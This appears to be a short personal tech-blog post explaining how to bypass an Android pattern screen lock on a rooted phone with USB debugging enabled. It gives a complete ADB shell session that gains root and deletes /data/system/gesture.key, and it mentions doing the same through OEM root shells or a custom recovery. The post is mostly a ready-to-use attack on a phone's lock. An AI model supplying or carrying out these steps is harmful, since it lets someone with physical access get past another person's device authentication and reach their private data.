Bypass Android Pattern Security Lock

If you have an Android phone that is rooted and the USB Debugging option has been turned on, your phone can be unlocked in a matter of seconds with the ADB (Android Debug Bridge) utility.

When you activate the security pattern, the data is actually encrypted using SHA-1 algorithm and stored in a file called gesture.key in the /data/system folder.

To perform the hack, connect the phone to a PC and remove the gesture.key from within the ADB shell.

[ibrahim@anfield ~] $ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
shell@android:/ $ su
root@android:/ # cd /data/system
root@android:/data/system # rm gesture.key
root@android:/data/system # exit

Once the file has been removed, the phone can be unlocked with any random security pattern.

There are people who have reported that root is not necessarily required for this as some OEMs allow root access for the ADB shell.

If both root access and USB debugging are not available, this can still be performed on recovery mode if a custom recovery like CWM (ClockWorkMod) has been installed.

References

ibrahim = { interested_in(unix, linux, android, open_source, reverse_engineering); coding(c, shell, php, python, java, javascript, nodejs, react); plays_on(xbox, ps4); linux_desktop_user(true); }